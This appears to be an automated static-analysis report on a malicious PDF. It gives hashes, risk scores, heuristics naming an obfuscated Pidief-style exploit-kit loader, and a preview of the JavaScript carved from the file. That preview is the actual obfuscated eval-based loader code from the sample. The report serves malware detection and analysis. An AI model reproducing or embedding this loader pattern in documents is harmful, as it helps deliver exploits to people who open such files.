Malicious PDF — malware analysis report

Static analysis result for SHA-256 4b30e43179b9ba2d…

MALICIOUS

PDF

44.9 KB First seen: 2013-07-13
MD5: 74ba864f8d8eee44fbee82a1b859a453 SHA-1: 6a7438d0ff8deefad14394920148a4250e417556 SHA-256: 4b30e43179b9ba2d2d5a1395c426887d298a4a6c8c9b6d6289b1f1ccb8b7ea67
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB113 443 bytes
SHA-256: 9b5c32ab803f8de0756afaa2554663e278344b4ebf8b7605e79ac5f0b3ca849b
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
zva='';
mmgod=('qwrwqr','tit');
e('vuq=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
eud=e('String.fr'+vuq.substr(0,10));
axnnz = e(vuq.substr(10)['replace'](/u/g,','));
e('k=axnnz.length');
for (i = 0; i < k; i+=2) {
	vaxb = axnnz[i+1] + ('erybjkerl',axnnz[i]);
	zva += eud(vaxb);
}
e(zva);

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